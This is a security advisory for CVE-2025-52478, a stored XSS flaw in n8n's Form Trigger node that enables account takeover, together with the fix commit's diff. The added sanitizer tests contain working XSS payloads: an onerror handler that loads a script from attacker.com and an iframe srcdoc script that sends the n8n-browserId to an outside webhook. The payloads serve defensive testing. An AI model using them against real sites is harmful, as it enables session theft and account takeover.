VYPR
High severityNVD Advisory· Published Aug 19, 2025· Updated Aug 19, 2025

Stored XSS in n8n Form Trigger allows Account Takeover via injected iframe and video/source

CVE-2025-52478

Description

n8n is a workflow automation platform. From 1.77.0 to before 1.98.2, a stored Cross-Site Scripting (XSS) vulnerability was identified in n8n, specifically in the Form Trigger node's HTML form element. An authenticated attacker can inject malicious HTML via an <iframe> with a srcdoc payload that includes arbitrary JavaScript execution. The attacker can also inject malicious Javascript by using <video> coupled <source> using an onerror event. While using iframe or a combination of video and source tag, this vulnerability allows for Account Takeover (ATO) by exfiltrating n8n-browserId and session cookies from authenticated users who visit a maliciously crafted form. Using these tokens and cookies, an attacker can impersonate the victim and change account details such as email addresses, enabling full control over the account—especially if 2FA is not enabled. Users should upgrade to version >= 1.98.2.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
n8nnpm
>= 1.77.0, < 1.98.21.98.2

Affected products

1

Patches

1
7940384a8504

fix(n8n Form Node): Prevent XSS with video and source tags (#16329)

https://github.com/n8n-io/n8nDanaJun 16, 2025via ghsa
11 files changed · +55 18
  • packages/nodes-base/nodes/Form/Form.node.ts+3 3 modified
    @@ -19,12 +19,12 @@ import {
     } from 'n8n-workflow';
     
     import { cssVariables } from './cssVariables';
    -import { renderFormCompletion } from './formCompletionUtils';
    -import { renderFormNode } from './formNodeUtils';
    +import { renderFormCompletion } from './utils/formCompletionUtils';
    +import { renderFormNode } from './utils/formNodeUtils';
    +import { prepareFormReturnItem, resolveRawData } from './utils/utils';
     import { configureWaitTillDate } from '../../utils/sendAndWait/configureWaitTillDate.util';
     import { limitWaitTimeProperties } from '../../utils/sendAndWait/descriptions';
     import { formDescription, formFields, formTitle } from '../Form/common.descriptions';
    -import { prepareFormReturnItem, resolveRawData } from '../Form/utils';
     
     const waitTimeProperties: INodeProperties[] = [
     	{
    
  • packages/nodes-base/nodes/Form/test/formCompletionUtils.test.ts+1 1 modified
    @@ -2,7 +2,7 @@ import { type Response } from 'express';
     import { type MockProxy, mock } from 'jest-mock-extended';
     import { type INode, type IWebhookFunctions } from 'n8n-workflow';
     
    -import { binaryResponse, renderFormCompletion } from '../formCompletionUtils';
    +import { binaryResponse, renderFormCompletion } from '../utils/formCompletionUtils';
     
     describe('formCompletionUtils', () => {
     	let mockWebhookFunctions: MockProxy<IWebhookFunctions>;
    
  • packages/nodes-base/nodes/Form/test/formNodeUtils.test.ts+1 1 modified
    @@ -7,7 +7,7 @@ import {
     	type NodeTypeAndVersion,
     } from 'n8n-workflow';
     
    -import { renderFormNode } from '../formNodeUtils';
    +import { renderFormNode } from '../utils/formNodeUtils';
     
     describe('formNodeUtils', () => {
     	let webhookFunctions: MockProxy<IWebhookFunctions>;
    
  • packages/nodes-base/nodes/Form/test/utils.test.ts+20 1 modified
    @@ -22,7 +22,7 @@ import {
     	validateResponseModeConfiguration,
     	prepareFormFields,
     	addFormResponseDataToReturnItem,
    -} from '../utils';
    +} from '../utils/utils';
     
     describe('FormTrigger, parseFormDescription', () => {
     	it('should remove HTML tags and truncate to 150 characters', () => {
    @@ -64,6 +64,25 @@ describe('FormTrigger, sanitizeHtml', () => {
     				html: '<input type="text" value="test">',
     				expected: '',
     			},
    +			{
    +				html: '<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4">Your browser does not support the video tag.</video>',
    +				expected:
    +					'<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4"></source>Your browser does not support the video tag.</video>',
    +			},
    +			{
    +				html: '<video controls width="640" height="360" onclick="alert(\'XSS\')" style="border:10px solid red;"><source src="javascript:alert(\'XSS\')" type="video/mp4">Fallback text</video>',
    +				expected:
    +					'<video controls width="640" height="360"><source type="video/mp4"></source>Fallback text</video>',
    +			},
    +			{
    +				html: "<video><source onerror=\"s=document.createElement('script');s.src='http://attacker.com/evil.js';document.body.appendChild(s);\">",
    +				expected: '<video><source></source></video>',
    +			},
    +			{
    +				html: "<iframe srcdoc=\"<script>fetch('https://YOURDOMAIN.app.n8n.cloud/webhook/pepe?id='+localStorage.getItem('n8n-browserId'))</script>\"></iframe>",
    +				expected:
    +					'<iframe referrerpolicy="strict-origin-when-cross-origin" allow="fullscreen; autoplay; encrypted-media"></iframe>',
    +			},
     		];
     
     		givenHtml.forEach(({ html, expected }) => {
    
  • packages/nodes-base/nodes/Form/utils/formCompletionUtils.ts+0 0 renamed
  • packages/nodes-base/nodes/Form/utils/formNodeUtils.ts+0 0 renamed
  • packages/nodes-base/nodes/Form/utils/utils.ts+22 8 renamed
    @@ -18,11 +18,11 @@ import {
     } from 'n8n-workflow';
     import sanitize from 'sanitize-html';
     
    -import type { FormTriggerData, FormTriggerInput } from './interfaces';
    -import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from './interfaces';
    -import { getResolvables } from '../../utils/utilities';
    -import { WebhookAuthorizationError } from '../Webhook/error';
    -import { validateWebhookAuthentication } from '../Webhook/utils';
    +import { getResolvables } from '../../../utils/utilities';
    +import { WebhookAuthorizationError } from '../../Webhook/error';
    +import { validateWebhookAuthentication } from '../../Webhook/utils';
    +import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
    +import type { FormTriggerData, FormTriggerInput } from '../interfaces';
     
     export function sanitizeHtml(text: string) {
     	return sanitize(text, {
    @@ -58,10 +58,24 @@ export function sanitizeHtml(text: string) {
     		allowedAttributes: {
     			a: ['href', 'target', 'rel'],
     			img: ['src', 'alt', 'width', 'height'],
    -			video: ['*'],
    -			iframe: ['*'],
    -			source: ['*'],
    +			video: ['controls', 'autoplay', 'loop', 'muted', 'poster', 'width', 'height'],
    +			iframe: [
    +				'src',
    +				'width',
    +				'height',
    +				'frameborder',
    +				'allow',
    +				'allowfullscreen',
    +				'referrerpolicy',
    +			],
    +			source: ['src', 'type'],
     		},
    +		allowedSchemes: ['https', 'http'],
    +		allowedSchemesByTag: {
    +			source: ['https', 'http'],
    +			iframe: ['https', 'http'],
    +		},
    +		allowProtocolRelative: false,
     		transformTags: {
     			iframe: sanitize.simpleTransform('iframe', {
     				sandbox: '',
    
  • packages/nodes-base/nodes/Form/v1/FormTriggerV1.node.ts+1 1 modified
    @@ -15,7 +15,7 @@ import {
     	formTriggerPanel,
     	webhookPath,
     } from '../common.descriptions';
    -import { formWebhook } from '../utils';
    +import { formWebhook } from '../utils/utils';
     
     const descriptionV1: INodeTypeDescription = {
     	displayName: 'n8n Form Trigger',
    
  • packages/nodes-base/nodes/Form/v2/FormTriggerV2.node.ts+1 1 modified
    @@ -21,7 +21,7 @@ import {
     } from '../common.descriptions';
     import { cssVariables } from '../cssVariables';
     import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
    -import { formWebhook } from '../utils';
    +import { formWebhook } from '../utils/utils';
     
     const useWorkflowTimezone: INodeProperties = {
     	displayName: 'Use Workflow Timezone',
    
  • packages/nodes-base/nodes/Wait/Wait.node.ts+1 1 modified
    @@ -23,7 +23,7 @@ import {
     	formTitle,
     	appendAttributionToForm,
     } from '../Form/common.descriptions';
    -import { formWebhook } from '../Form/utils';
    +import { formWebhook } from '../Form/utils/utils';
     import {
     	authenticationProperty,
     	credentialsProperty,
    
  • packages/nodes-base/utils/sendAndWait/utils.ts+5 1 modified
    @@ -24,7 +24,11 @@ import {
     import type { IEmail } from './interfaces';
     import { cssVariables } from '../../nodes/Form/cssVariables';
     import { formFieldsProperties } from '../../nodes/Form/Form.node';
    -import { prepareFormData, prepareFormReturnItem, resolveRawData } from '../../nodes/Form/utils';
    +import {
    +	prepareFormData,
    +	prepareFormReturnItem,
    +	resolveRawData,
    +} from '../../nodes/Form/utils/utils';
     import { escapeHtml } from '../utilities';
     
     export type SendAndWaitConfig = {
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

5

News mentions

0

No linked articles in our index yet.